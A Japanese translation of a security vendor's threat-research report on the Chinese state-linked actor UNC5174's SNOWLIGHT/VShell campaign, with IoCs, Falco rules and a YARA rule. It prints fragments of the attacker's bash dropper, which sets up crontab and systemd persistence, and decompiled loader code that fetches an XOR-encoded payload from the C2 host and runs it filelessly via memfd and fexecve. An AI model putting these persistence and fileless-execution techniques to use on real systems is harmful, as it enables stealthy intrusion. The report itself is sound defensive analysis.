中国の継続的なサイバー戦争におけるUNC5174の進化:SNOWLIGHTからVShellへ

By 清水 孝郎 - APRIL 17, 2025

SHARE:

本文の内容は、2025年4月15日に Alessandra Rizzo が投稿したブログ(https://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/)を元に日本語に翻訳・再構成した内容となっております。

Sysdig脅威リサーチチーム(TRT)は、1年間の監視下における活動を経て、中国政府が支援する脅威アクターUNC5174による新たな攻撃キャンペーンを特定しました。この脅威アクターは、2025年1月下旬に新たなオープンソースツールとコマンドアンドコントロール(C2)インフラストラクチャーを使用していたことが判明しました。私たちはまず、複数の実行可能ファイルをダウンロードして永続化を図る悪意のあるbashスクリプトを発見しました。ダウンロードされたバイナリの1つは、UNC5174のSNOWLIGHTマルウェアの亜種であり、これは以前MandiantによってF5デバイスに対する攻撃キャンペーンで特定され、最近ではフランス国立情報システムセキュリティ機関(ANSSI)が2025年3月に発表したフランスのサイバー脅威概要レポートでも言及されています。

以前はオープンソースのリバースシェルツール「SUPERSHELL」を使用していたUNC5174は、今回のキャンペーンで新たにリリースされたオープンソースツール「VShell」を採用しています。地下チャネルでの評判によれば、VShellは広く知られている「Cobalt Strike」フレームワークよりも「さらに優れている」と考えられています。

2024年の「グローバル脅威レビュー」では、脅威アクターがコスト効率や難読化の観点からオープンソースツールを兵器庫に取り入れる傾向が高まっていると報告しました。これにより、費用を抑えると同時に、国家支援を受けていない、技術的にも未熟な攻撃者(いわゆるスクリプトキディなど)と同質化することで、攻撃者の特定をさらに困難にすることができます。

この傾向は、過去1年間にわたり中国政府との関係が取り沙汰されて以来、表立った活動を控えていたこの特定の脅威アクターにおいて、特に顕著に見られるようです。

UNC5174

SNOWLIGHTマルウェアは、メモリ上のみに存在するファイルレスペイロード「VShell」のドロッパーとして機能します。VShellはリモートアクセス型トロイの木馬(RAT)で、中国語話者のサイバー犯罪者の間でいくつかのフォーラムにおいて人気があり、その主要な開発者も中国語話者です。

VShellは通常、マルウェアドロッパーにデフォルトで含まれているわけではなく、SNOWLIGHTマルウェアと直接的な関連はありません。この特定の配信手法を通じたファイルレスペイロードの使用は、UNC5174にのみ確認されています。この脅威アクターが用いるツールのほとんどはカスタマイズされており、他者によって簡単に模倣されることはありません。我々が分析した技術の高度さも、彼らの高い技術的能力と一致しています。

我々の分析およびこれまでの経験に基づき、UNC5174の動機はスパイ活動、もしくは被害者環境へのアクセスを売却・仲介することにあると考えています。

SNOWLIGHTとVShellは、そのステルス性と高度な技術により、組織に対して重大なリスクをもたらします。これは、WebSocketを用いたコマンド&コントロールや、我々が確認したファイルレスなVShellペイロードの使用によって裏付けられています。我々は中程度の確信をもって、この脅威アクターが今後も、中国政府に対して断続的に支援を行い、カスタムツールとオープンソースツールを組み合わせた拡張性のある兵器庫および広範なC2インフラを用いて、スパイ活動およびアクセス仲介を継続すると評価しています。

Sysdigのお客様およびFalcoユーザーは、VShellのデプロイから保護されています。以下の分析では、我々の観測に基づく技術的詳細を深掘りしています。

UNC5174の背景

脅威アクターUNC5174は、中国政府のために活動する請負業者であると考えられています。HiveProMandiantによると、UNC5174は米国、カナダ、英国などの西側諸国を標的としています。これらの国の被害者は、多くの場合、研究機関、政府機関、シンクタンク、テクノロジー企業です。UNC5174はアジア太平洋地域の様々な非政府組織(NGO)も標的としており、場合によってはエネルギー、防衛、医療といった重要インフラ分野の企業も標的にしています。 

2025年3月にANSSI(フランス国家情報システムセキュリティ庁)から発表された「2024年フランス・サイバー脅威概況レポート」によると、UNC5174は2024年夏季オリンピック期間中にIvantiのCloud Service Appliance(CSA)製品を悪用していました。SOCRadarによれば、この脅威アクターは2019年にも、悪意のあるメール添付ファイルを用いたフィッシング手法でマルウェアを配布していたと報告されています。

また、Objective-Seeが2024年のマルウェア回顧レポートで報告したところによれば、SNOWLIGHTマルウェアがMacOSシステムを積極的に標的としている証拠も確認されています。

今回のキャンペーンにおいて、UNC5174が初期侵入手段として何を用いているかは明らかではありませんが、Linuxベースのシステムを標的としていることは確認されています。我々は高い確信をもって、新たなインフラがドメインスクワッティングと一致しており、フィッシングやソーシャルエンジニアリングのために使用されていると評価しています。これらのドメインは主に既知の企業を偽装しており、直近ではCloudflareを模倣した事例が確認されました。他にも、メッセージングアプリのTelegram、金融サービス企業のHuione Pay、Googleを偽装したドメインも最近観測されています。

過去のキャンペーン

VirusTotal(VT)におけるSNOWLIGHTサンプルのタグを調査する中で、我々が最新のバイナリで観測した手法と同様にVShellバイナリをドロップする最初のサンプルが、2024年11月に初めて検出されたことが判明しました。それ以降、複数のドロッパーが検出されており、今回のキャンペーンで確認された最新のサンプルのひとつが、 dnsloger サンプルです。このことから、本キャンペーンは2024年11月以降、あまり公に注目されることなく継続されていると推定されます。

SNOWLIGHTマルウェアは、実行時およびメモリ上でのダウンロード時に「[kworker/0:2]」という名称を使用します。VirusTotalで関連するVShellのハッシュを検索する中で、以前には報告されていなかったUNC5174のキャンペーンに関連していると考えられる複数のバイナリを発見しました。使用したクエリは以下の通りです:

behaviour_processes:"/memfd:a (deleted)/ [kworker/0:2]"

これにより、2024年11月以降、UNC5174 C2インフラストラクチャー(googlespays[.]com)が新たに発見されました。Googleブランドのなりすましは、現在のC2ドメインのパターンと一致し、VShellバイナリの取得に必要なパラメータが含まれています。

2024 年 11 月の VShell バイナリも、C2 ドメイン apib[.]googlespays[.]com 経由で WebSocket プロトコルを使用します。これは、最新のサンプルとドメインで観察されたものと同じ攻撃チェーンと識別可能な特徴です。

UNC5174の新しいキャンペーン

初期侵入の後、悪意あるBashスクリプトが2つのペイロードをドロップします: dnsloger(SNOWLIGHTマルウェアに関連)と system_worker (SliverおよびCobalt Strikeに関連)。

このステップの主な目的は永続化の確立であり、さらなる悪用のためにSliverインプラントとメモリ上のバックドア(VShell)を配置します。 

ドメイン分析

このキャンペーンでは、新しい C2 ドメインが観察されました。

  • gooogleasia[.]com(Googleとは一切関係ありません)
  • sex666vr[.]com

これらのドメインには複数のサブドメインが存在しており、その中には login[.]microsoftonline[.]gooogleasia[.]com のように他のブランド名を含むものもあります。これらは、フィッシングを目的としたドメインスクワッティングによって使用された可能性が高いと考えられます。

2025年3月下旬時点で、IoCセクションに記載されている新たなドメインが検出されており、以下の通り、同様の手口が見られたことから、本稿公開時点でもこのキャンペーンは依然として活動中であると確信しています。具体的には以下のとおりです。 

  • telegrams[.]icu(おそらくTelegramを装っている)
  • huionepay[.]me(おそらくHuione Payになりすましている)
  • c1oudf1are[.]com(おそらくCloudflareを装っている)

Googleasia[.]com

ドメイン gooogleasia[.]com は2023年9月1日に作成され、2025年1月16日時点ではIPアドレス 34[.]96[.]239[.]183 に解決されていました。このIPは、Google Compute Engine(GCE)の仮想マシンに割り当てられたホスト名で、香港に位置しています。GCEは、Googleのインフラ上で仮想マシンを作成・実行できるコンピューティングおよびホスティングサービスです。

調査の過程で、 gooogleasia[.]com およびそのサブドメインのホスティングIPが新たに変更されていることが確認されました。2025年2月21日には、新たなIPアドレス 34[.]96[.]252[.]230 が割り当てられています。

MalTrailも、 gooogleasia[.]com の複数のサブドメインをCobalt StrikeのC2(コマンド&コントロール)として分類しています。

  • evil[.]gooogleasia[.]com
  • account[.]gooogleasia[.]com
  • ks[.]evil[.]gooogleasia[.]com
  • btt[.]evil[.]gooogleasia[.]com


VTコミュニティのコンテンツユーザーは、同一IP上のポート8888および443で複数のSliver C2サーバーを特定しており、これは我々が発見したSliverインプラント system_worker  ペイロードの使用とも一致しています。ペイロードの使用とも一致しています。

Sex666vr[.]com

このキャンペーンで使用されたもう一つのC2ドメインは sex666vr[.]com、IPアドレス34[.]91[.]68[.]192に解決されます。UNC5174は2024年10月に最後に確認されているため、このIPアドレスをこのキャンペーンで使用していないと考えられます。

テクニカル分析

download_backd.sh

SHA256 Hash: c0838b1211d482d21ccb2c9cc9fb224d1f826474d496a76d21ca18fa2ef92bc1


こちらが、dnsloger  および  system_worker  バイナリをダウンロードおよび実行する役割を担う元のBashスクリプトです。このシェルスクリプトには、ドロップされた悪意ある実行ファイルが想定されたMD5ハッシュと一致するかどうかを検証する複数の関数が含まれています。一致しない場合、スクリプトは再ダウンロードを試みます。


このスクリプトは、自身がroot権限で実行されているかどうか (id -u = 0) も確認します。root権限でない場合、ダウンロードした実行ファイルを /tmp に保持します。一方で、root権限で実行されている場合は、実行ファイルを /usr/bin/ に移動させ、永続性を高め、削除をより困難にし、他の正規バイナリと同化することで発見されにくくするとともに、システム全体での実行を可能にします。

if [ "$(id -u)"
= "0" ]
echo "Running as non-root user, keeping them in /tmp"
Set the file timestamp to match the target folder
touch --reference=/usr/bin /tmp/$executable

永続性を保つために、スクリプトはcrontab を悪用し、実行可能ファイルを追加して 1 時間ごとに実行され、再起動後に実行されるようにし、最終的にバックグラウンドで起動します。

Add the programs to crontab for execution at reboot and every hour
echo "Adding programs to crontab..."
(crontab -l 2>/dev/null
echo "@reboot /usr/bin/$executable1"
echo "@reboot /usr/bin/$executable2"
echo "0 * * * * /tmp/$executable1"
echo "0 * * * * /tmp/$executable2")


このスクリプトは、 dnsloger および system_worker という2つの悪意あるバイナリを、システム起動時に実行されるように設定します。新しいシステムでは systemd を使用し、古いシステムでは init.d を用います。 systemd を使用する場合、 Systemctl によって systemd の設定を再読み込みし、最終的に悪意あるサービスを起動させます。 init.d を使用するシステムでは、 chkconfig を使用してサービスが起動時に実行されるように設定します。

cat <<EOF > /etc/systemd/system/$executable.service

[Unit]

Description=$executable Application Service

After=network.target

[Service]

Type=simple

ExecStart=/usr/bin/$executable

Restart=always

RestartSec=3600

[Install]

WantedBy=multi-user.target

echo "Setting up systemd service for $executable..."

retry_with_timeout "systemctl daemon-reload"

retry_with_timeout "systemctl enable $executable.service"

retry_with_timeout "systemctl start $executable.service"

SNOWLIGHT

Payload name: dnsloger
SHA256: e6db3de3a21debce119b16697ea2de5376f685567b284ef2dee32feb8d2d44f8

ダウンロードされた実行ファイル dnsloger は、VirusTotal上でUNC5174によって使用されているSNOWLIGHTマルウェアファミリーの一部として検出されており、これは以前HiveProによって報告されています。このマルウェアは、Linuxの内部構造に関する深い知識を示す複数の処理を行っており、永続化、防御回避、インジェクション技術が確認されています。

無料のリバースエンジニアリングツール radare2 を用いた解析では、いくつかのパラメータやファイル名がハードコードされていることが判明しました。たとえば、User-Agentは User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 に設定されており、C2サーバーには vs[.]gooogleasia[.]com が使用されています。

UNC5174 - スノーライト
SNOWLIGHT 抽出文字列

Ghidra を使用してバイナリをデコンパイルすると、次の C コードが生成されます。

{

int iVar1;

in_addr_t iVar2;

int iVar3;

int iVar4;

hostent *phVar5;

ssize_t sVar6;

byte *pbVar7;

long lVar8;

char *pcVar9;

ushort uVar10;

bool bVar11;

byte bVar12;

undefined4 local_1c4c;

char *local_1c48;

undefined8 local_1c40;

sockaddr local_1c38;

char local_1c28 [1024];

char local_1828 [1024];

char local_1428 [1024];

byte local_1028 [4104];

bVar12 = 0;

iVar1 = access("/tmp/log_de.log",0);

if (iVar1 != 0) {

local_1c38.sa_data[6] = '\0';

local_1c38.sa_data[7] = '\0';

local_1c38.sa_data[8] = '\0';

local_1c38.sa_data[9] = '\0';

local_1c38.sa_data[10] = '\0';

local_1c38.sa_data[0xb] = '\0';

local_1c38.sa_data[0xc] = '\0';

local_1c38.sa_data[0xd] = '\0';

local_1c38.sa_family = 2;

local_1c38.sa_data[0] = ' ';

local_1c38.sa_data[1] = -5;

local_1c38.sa_data[2] = '\0';

local_1c38.sa_data[3] = '\0';

local_1c38.sa_data[4] = '\0';

local_1c38.sa_data[5] = '\0';

phVar5 = gethostbyname("vs.gooogleasia.com");

if (phVar5 == (hostent *)0x0) {

iVar2 = inet_addr("vs.gooogleasia.com");

}

else {

iVar2 = *(in_addr_t *)*phVar5->h_addr_list;

}

local_1c38.sa_data._2_4_ = iVar2;

iVar1 = socket(2,1,0);

if (-1 < iVar1) {

local_1c4c = 10;

setsockopt(iVar1,6,7,&local_1c4c,4);

while (iVar3 = connect(iVar1,&local_1c38,0x10), iVar3 == - 1) {

sleep(10);

}

uVar10 = (ushort)local_1c38.sa_data._0_2_ >> 8 | local_1c 38.sa_data._0_2_ << 8;

sprintf(local_1c28,

"GET /?a=%s&h=%s&t=%s&p=%d HTTP/1.1\r\nHost: % s:%d\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48. 0) Gecko/20100101 Firefox/48.0\r\n\r\n"

,"l64","vs.gooogleasia.com","ws_",(uint)uVar10,"vs.goo ogleasia.com",(uint)uVar10);

send(iVar1,local_1c28,0x400,0);

pcVar9 = local_1c28;

for (lVar8 = 0x100; lVar8 != 0; lVar8 = lVar8 + -1) {

pcVar9[0] = '\0';

pcVar9[1] = '\0';

pcVar9[2] = '\0';

pcVar9[3] = '\0';

pcVar9 = pcVar9 + (ulong)bVar12 * -8 + 4;

}

iVar3 = 0;

while( true ) {

sVar6 = recv(iVar1,local_1828,1,0);

if (((int)sVar6 < 1) ||

((((bVar11 = local_1828[0] == '\n', local_1828[iVar3] = l ocal_1828[0], bVar11 &&

(local_1828[iVar3 + -1] == '\r')) && (local_1828[iVar3 + -2] == '\n')) &&

(local_1828[iVar3 + -3] == '\r')))) break;

iVar3 = iVar3 + (int)sVar6;

}

lVar8 = syscall(0x13f,&DAT_00400e50,1); // Sysdig: memfd_create

iVar3 = (int)lVar8;

if (-1 < iVar3) {

while( true ) {

sVar6 = recv(iVar1,local_1028,0x1000,0);

iVar4 = (int)sVar6;

pbVar7 = local_1028;

if (iVar4 < 1) break;

do {

*pbVar7 = *pbVar7 ^ 0x99;

pbVar7 = pbVar7 + 1;

} while ((int)pbVar7 - (int)local_1028 < iVar4);

write(iVar3,local_1028,(long)iVar4);

}

for (lVar8 = 0x400; lVar8 != 0; lVar8 = lVar8 + -1) {

pbVar7[0] = 0;

pbVar7[1] = 0;

pbVar7[2] = 0;

pbVar7[3] = 0;

pbVar7 = pbVar7 + (ulong)bVar12 * -8 + 4;

}

close(iVar1);

realpath((char *)*param_2,local_1428);

setenv("CWD",local_1428,1);

local_1c48 = "[kworker/0:2]";

local_1c40 = 0;

fexecve(iVar3,&local_1c48,environ);

close(iVar1);

}

}

return 0;

}

/* WARNING: Subroutine does not return */

exit(0);

}

コードはまず、ログファイル (/tmp/log_de.log) の存在を確認します。ファイルが存在しない場合、ネットワーク通信のためのソケットを設定し、リモートサーバーへの接続を試みます。その後、 vs[.]gooogleasia[.]com の名前解決と接続を試行し、ハードコードされたユーザーエージェントなどの特定のクエリパラメータを含むHTTP GETリクエストを送信します。

SNOWLIGHTマルウェアは、recvfrom システムコールを用いてネットワーク越しにデータを受信しようとします。recvfrom は、通常UDPまたはTCP通信のためにソケットからデータを読み取るシステムコールであり、ネットワークサーバーやクライアントなど、ネットワーク越しにメッセージを受信する必要のあるアプリケーションで一般的に使用されます。本攻撃チェーンにおいては、recvfrom システムコールは、追加のペイロードやC2サーバーとの通信を受信するために設定されている可能性があります。

マルウェアはその後、サーバーからのデータを受信するまで待機し、受信したデータを0x99でXOR演算することで、内容の難読化または暗号化を試みていることが示唆されます。最後に、システム関数を使用して環境変数を操作し、現在の作業ディレクトリを環境変数「CWD」に設定するなどの処理を行います。

Sliver

Payload name: system_worker
SHA-256: 21ccb25887eae8b17349cefc04394dc3ad75c289768d7ba61f51d228b4c964db

ダウンロードされた実行ファイル system_worker は、2025年1月19日時点でVirusTotal上においてSliverマルウェアとして分類されています。このバイナリは、UPXでパックされており、さらにgobfuscateによって難読化されています。

我々は、GitHubで公開されているGhidra用プラグイン  “degobfuscate.py” を使用して難読化を解除し、アンパックされたバイナリの機能がSliverのGoパッケージで確認されているものと同一であることを確認しました。

難読化解除された文字列
UNC5174
Sliver関数

Sliverインプラントは、C2オペレーションで使用されるマルウェアの一種で、攻撃者が侵入したシステムをリモート制御できるようにします。標的のマシンに展開されると、インプラントは攻撃者の足掛かりとなり、悪意のあるアクションの実行、情報の収集、感染システムのリモート制御などを可能にします。

 system_worker のランタイムにおける振る舞いを分析したログでは、このバイナリが以下に示すとおり、 sex666vr[.]com にホスティングされた複数のC2サブドメインへ接続を試みていることが判明しました。

2595 16:18:10.087506663 1 vt_21ccb25887ea (12080.12080) < read res=62 data=.*...........mtls.sex666vr.com..............,.."`....)........

10051 16:19:10.356965588 1 vt_21ccb25887ea (12080.12090) < read res=112 data=.P...........wg.gooogleasia.com................5.ns1.name...hostmaster.nsone....

34257 16:22:17.391257404 1 vt_21ccb25887ea (12080.12099) < write res=47 data=A............https.sex666vr.com.......)........

より具体的には、このバイナリはSliverインプラントに典型的なセキュアな通信チャネルを使用しており、相互TLS(mTLS)、WireGuard、HTTPSなどのプロトコルが含まれています。これらのプロトコルは、前述のサブドメインにおいて確認されています。

VShell

Name: Fileless (memfd)

SHA256: 8d88944149ea1477bd7ba0a07be3a4371ba958d4a47b783f7c10cbe08c5e7d38

 dnsloger (SNOWLIGHT)バイナリは、C2サーバーに対して巧妙に構築されたGETリクエストを送信することで、VShellバイナリをダウンロードします。この挙動は、以下のsendtoシステムコールのログから確認できます。

2011 16:09:00.720663842 1 vt_e6db3de3a21d (12202.12202) < sendto res=1024 data=GET /?a=l64&h=vs.gooogleasia.com&t=ws_&p=8443 HTTP/1.1..Host: vs.gooogleasia.... A

VShellは、侵害されたシステムへのリモートアクセスおよび制御に使用されるバックドアです。このバイナリは、2024年にGitHub上で  “veo” というユーザーによって “vshell” リポジトリに公開されました。本キャンペーンにおいては、ドロッパーであるSNOWLIGHTが memfd_create (システムコール0x13f)を用いてVShellを作成しています。

これはファイルレスマルウェアの典型的な特徴であり、悪意あるコードが完全にメモリ上に存在し、ディスクには一切書き込まれないため、従来のファイルベースのスキャンによる検知が困難になります。

2377 16:09:00.923728239 1 vt_e6db3de3a21d (12202.12202) < memfd_create fd=4(<m>a) name=a flags=1(MFD_CLOEXEC)

これはシステムプロセス ([ kworker/0:2]) に偽装され、fexecve システムコールを介して実行されます。これは、上記の SNOWLIGHT セクションのデコンパイルされたコードに示されています。このシステムコールは、ファイル記述子として開かれたバイナリの実行を可能にします。ファイルパスを指定する代わりに、開いているファイル記述子を指定すると、fexecve() プログラムはメモリから実行されます。また、現在のプロセスがアクセス可能なすべての環境変数も渡されます。

fexecve(iVar3, &local_1c48, environ);


このバイナリはGobfuscateで難読化されており、ファイルレスバイナリに典型的なmemfd.”で始まる .exe 形式の名称が付けられています。作成時のファイル名は “a となっており、後に kworker に変更され、正規のカーネルプロセスに偽装して目立たないようにしています。

背景

この記事によると、VShellの元の開発者は法的な理由からリリースを完全に削除することを決定しましたが、依然としてインターネット上で流通しています。さらに、ライセンスの有効期限が切れているため、技術的には法的に使用できなくなっています。しかし、記事にはライセンスの有効期限を回避してVShellを設定する方法へのリンクが掲載されています。

VShell 構成ファイル

中国語の VShell の完全なタイトルをオンラインで検索すると、以下に示すように、サードパーティのファイル共有 Web サイトからバイナリを含むダウンロード可能な zip アーカイブが見つかります。

VShell クライアントをダウンロードするためのサードパーティ リンク

もちろん、GitHub には、VShell とその使用方法に関するドキュメントがまだ含まれているクローン リポジトリも多数あります。

VShellクローンGitHubリポジトリのスナップショット

VShellはリリース以来、主にリモートアクセスやC2攻撃といった悪質な活動に悪用されてきました。RAT(リモートアクセス型トロイの木馬)として機能し、悪用者は任意のコマンドを実行したり、ファイルをダウンロードまたはアップロードしたりすることができます。


我々が調査したこのマルウェアの想定されるユースケースによれば、VShellのクライアントは、対象システムに応じてC2サーバーからダウンロード可能となっています。VShellコンソールを通じてさらにダウンロード可能なペイロード名は、調査により確認されたものと一致しており、たとえば linux_i386 などが含まれています。

UNC5174
VShell ペイロードジェネレーター

上の画像から、様々なペイロードが、VShellメインコンソールに接続された感染マシンにLinux、Windows、macOS用のシェルコードと悪意のあるバイナリを挿入できることがわかります。このマルウェアは、侵害されたマシンからのファイルのアップロードとダウンロードもサポートしています。

メモリ操作

VShellが実行されると、システム上で一連の不審なメモリ操作を実行します。mmapおよびmmap2システムコールを複数回使用しており、その際に fd=-1 (ファイルディスクリプタなし)と MAP_PRIVATE | MAP_ANONYMOUS といったフラグを組み合わせて使用しています。これは、ファイルとは無関係にメモリを割り当てていることを示唆しています。

このプロセスは、ランダムに見える大きなメモリブロックを繰り返し割り当てており、一部のマッピングは64MB、128MB、512MBといった非常に大きなサイズで、アクセス権限がPROT_NONE(読み書き不可)に設定されています。このような「空白」メモリは、後に実行可能なアクセス権(PROT_EXEC)に変更される可能性があり、これはファイルレスマルウェアで一般的に見られる挙動です。攻撃者のC2サーバーから追加ペイロードが送信され得ることを踏まえると、これらのアクセス不能なメモリ領域は、そのような追加ペイロードのために事前にマッピングされていると考えるのが妥当です。

また、VShellによってダウンロードされるペイロードやシェルコードが不自然に大きいため、それらを圧縮・縮小する方法に関する記事も確認されており、20MBのペイロードを1KBのシェルコードに縮小する手法が紹介されていました。

コマンド & コントロール


書き込みデータ内に Upgrade: websocket および Connection: Upgrade ヘッダーが存在することから、このプロセスが vs[.]gooogleasia[.]com のポート8443に対して、HTTP接続からWebSocket接続へのアップグレードを試みていることが示されています。WebSocketは、単一のTCP接続上で双方向通信チャネルを提供するプロトコルです。

11949 16:09:03.107155929 1 4 (12202.12202) < write res=163 data=GET /w HTTP/1.1..Host: vs.gooogleasia.com:8443..Upgrade: websocket..Connectio...

11963 16:09:03.297903241 1 4 (12202.12202) < read res=129 data=HTTP/1.1 101 Switching Protocols..Upgrade: websocket..Connection: Upgrade..Se...

12437 16:09:04.387602087 1 4 (12202.12213) < write res=163 data=GET /w HTTP/1.1..Host: vs.gooogleasia.com:8443..Upgrade: websocket..Connectio...

12515 16:09:04.576754849 1 4 (12202.12213) < read res=129 data=HTTP/1.1 101 Switching Protocols..Upgrade: websocket..Connection: Upgrade..Se...

12871 16:09:05.345517369 1 4 (12202.12213) < write res=163 data=GET /w HTTP/1.1..Host: vs.gooogleasia.com:8443..Upgrade: websocket..Connectio...

12939 16:09:05.536259167 0 4 (12202.12202) < read res=129 data=HTTP/1.1 101 Switching Protocols..Upgrade: websocket..Connection: Upgrade..Se...

C2にWebSocketを選択することは目新しいことではありませんが、マルウェアにとって典型的な選択肢でもありません。長年にわたり、PY#RATIONなど、C2通信にWebSocketを使用するマルウェアに関する報告がいくつかありました。WebSocket C2は、標準的な方法と比較して攻撃者にとって設定が複雑であり、通常はポート80または443で実行されます。 

このケースでは、攻撃者はVShellをHTTPSポート(8443)で実行するように設定しています。HTTPSトラフィックは暗号化されているため、これは重要な意味を持ちます。ランタイムキャプチャでは、接続がWebSocketにアップグレードされた後のネットワークトラフィックには、いくつかのランダムな単語を除いて、注目すべきものは何も見られなかったことが確認されました。 

感染ホストがUI(下図参照)を介して管理されていることを考えると、UNC5174はWebSocketを好んで利用している可能性が高いと考えられます。これは、ペイロードを暗号化されたトラフィックを介してリアルタイムで侵入先マシンに送信できるためです。過去数年にわたり、ウイルス対策ソリューションがWebSocket経由のマルウェアC2通信を検出できないという報告がいくつかありました。そのため、脅威アクターが防御回避を目的として、あまり一般的ではないC2チャネルを利用しようとしている可能性もあります。

UNC5174 - VShell
VShell コンソール UI

WebSocketの選択は、私たちが分析したVShellバイナリの全てに共通しているわけではないようです。VShellバイナリは複数のプロトコル(主にTCPとUDP)を含んでいました。私たちの知る限り、VShellでのWebSocketの使用は、このキャンペーン、そしてそのドロッパーであるSNOWLIGHTの特徴的な部分です。

まとめ

このキャンペーンは、中国国家支援型脅威アクターUNC5174による新たな動向を示しています。Mandiantが最初に報告したとおり、SNOWLIGHTはカスタムドロッパーであり、侵害された環境への初期侵入を果たし、さらなる悪用、具体的にはスパイ活動やアクセスの再販に利用されている可能性があります。今回の新たなキャンペーンでは、中国発の人気オープンソースRATであるVShellが、UNC5174のツールセットに加えられています。

SNOWLIGHTおよびVShellは、組織に対して重大なリスクをもたらします。WebSocketの活用やファイルレスなVShellペイロードの使用といった手法は、分析された技術や手口から、高度な技術的知見を有していることを示しています。これまで、この脅威アクターによるVShellの使用に関する公的な文書が存在していなかったことからも、我々が収集した証拠に基づき、このキャンペーンは少なくとも2024年11月から活動していると考えられます。

我々は中程度の確信をもって、この脅威アクターが今後も中国政府への支援を継続し、関心国の組織へのアクセスを得ることを目的に、兵器庫を拡張していくと評価しています。UNC5174はまた、検知および警告を最小限に抑えるため、ファイルレスペイロードや新しいツール、高頻度で変化するネットワークインフラを含むステルス性の高い手法を今後も継続して使用していく可能性が高いと見られます。

UNC5174のキャンペーン検知

Sysdig のお客様は、次のルールにより VShell のデプロイメントから保護されます。

Falco ユーザーは、以下のルールを適用して VShell の脅威を検出できます。

Falco

Sysdig Runtime Threat Detection

VShellの実行が、その親プロセスであるSNOWLIGHTによって開始されたことを検知します。

- rule: Fileless Malware Detected (memfd)

desc: This rule detects the loading and execution of a fileless ELF malware, indicating potential memory-based attacks. An attacker could leverage this technique to bypass traditional file-based detection methods and evade detection by executing malicious code directly in memory.

condition: spawned_process and proc.is_exe_from_memfd=true and evt.arg.flags contains "EXE_FROM_MEMFD" and proc_exepath_exists

output: An ELF %proc.exe was loaded and executed in memory on %container.name and parent %proc.pname under user %user.name (evt.type=%evt.type proc.exe=%proc.exe proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] container.name=%container.name image=%container.image.repository:%container.image.tag proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline gcmdline=%proc.acmdline[2] proc.cwd=%proc.cwd user.name=%user.name user.loginuid=%user.loginuid user.uid=%user.uid user.loginname=%user.loginname proc.pid.ts=%proc.pid.ts proc.ppid.ts=%proc.ppid.ts proc.hash.sha256=%proc.hash.sha256)

priority: CRITICAL

Sysdig Runtime Threat Detection

C2 からさらにペイロードをダウンロードする前に、メモリ内の VShell 準備段階を検知します。

- rule: Memory Manipulation by Fileless Program

desc: Detects the allocation of large, anonymous unused memory regions (64 MB or more) by a process, where the memory is not associated with a file descriptor, and the process is executed directly from memory, where the allocated space gets reserved for later use. This behavior is characteristic of fileless payloads that reside and execute entirely in memory without writing to disk, evading traditional file-based detection mechanisms.

condition: (evt.type in (mmap,mmap2) and evt.dir = > and evt.rawarg.length >= 67108864 and evt.arg.flags contains "MAP_PRIVATE" and evt.arg.flags contains "MAP_ANONYMOUS" and evt.arg.prot contains "PROT_NONE" and fd.num = -1 and proc.is_exe_from_memfd = true and proc_exepath_exists)

output: Fileless process %proc.exe allocated a large amount of memory %evt.arg.length on %container.name under user %user.name (evt.type=%evt.type proc.exe=%proc.exe proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] container.name=%container.name image=%container.image.repository:%container.image.tag proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline gcmdline=%proc.acmdline[2] proc.cwd=%proc.cwd user.name=%user.name user.loginuid=%user.loginuid user.uid=%user.uid user.loginname=%user.loginname fd.num=%fd.num evt.arg.prot=%evt.arg.prot evt.arg.flags=%evt.arg.flags evt.arg.length=%evt.arg.length)

tags: [host, container]

priority: CRITICAL

YARA

Sysdig のお客様は、次の YARA ルールを利用して SNOWLIGHT の脅威を検知することもできます。

rule SNOWLIGHT_DROPPER_SYSDIG

{

meta:

author = "Alessandra Rizzo"

description = "This rule detects strings seen in SNOWLIGHT malware acting as a dropper for fileless payloads."

md5 = "96f307b0ba3bb11715fab5db8d61191f"

platforms = "Linux"

malware_family = "SNOWLIGHT"

strings:

$http_get_request = { 77 73 5f 00 6c 36 34 00 47 45 54 20 2f 3f 61 3d 25 73 26 68 3d 25 73 26 74 3d 25 73 26 70 3d 25 64 }

$user_agent = { 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 72 76 3a 34 38 2e 30 29 20 47 65 63 6b 6f 2f 32 30 31 30 30 31 30 31 20 46 69 72 65 66 6f 78 2f 34 38 2e 30 }

$fileless_payload_masked_name = { 5b 6b 77 6f 72 6b 65 72 2f 30 3a 32 }

condition:

uint32(0) == 0x464c457f and all of them

}

IoC

IoC TypeIoCNote
Domainvs[.]gooogleasia[.]comVShell Console
IP Address34[.]96[.]239[.]183C2 Address
IP Address8[.]219[.]171[.]47C2 Address
Domainapib[.]googlespays[.]comSNOWLIGHT Dropper Domain (November 2024)
IP Address188[.]114[.]97[.]3C2 Address
URLhttp://vs[.]gooogleasia[.]com:8443/?a=l64&h=vs.gooogleasia.com&t=ws_&p=8443VShell Payload Downloader
SHA256e6db3de3a21debce119b16697ea2de5376f685567b284ef2dee32feb8d2d44f8SNOWLIGHT
SHA2568d88944149ea1477bd7ba0a07be3a4371ba958d4a47b783f7c10cbe08c5e7d38VShell
SHA25621ccb25887eae8b17349cefc04394dc3ad75c289768d7ba61f51d228b4c964dbSliver Implant
Domainsex666vr[.]comC2 Domain
IP Address34[.]55[.]187[.]149C2 Address
URLhttp://ciscocdn[.]com:8888/supershell/compile/download/x64SuperShell Downloader, possibly part of a previous campaign
URLhttp://www[.]bing-server[.]com:443URL possibly part of a previous campaign
SHA566579defcd1326efad359c59cfe9a76d7df375e54f6e977dd880d10f81325999e SNOWLIGHT (November 2024 Campaign)
SHA256f064fdd24c56f2d20f1a6a32fc7edbd3848f962b25965b788b0dc725eeab9db4VShell (November 2024 Campaign)
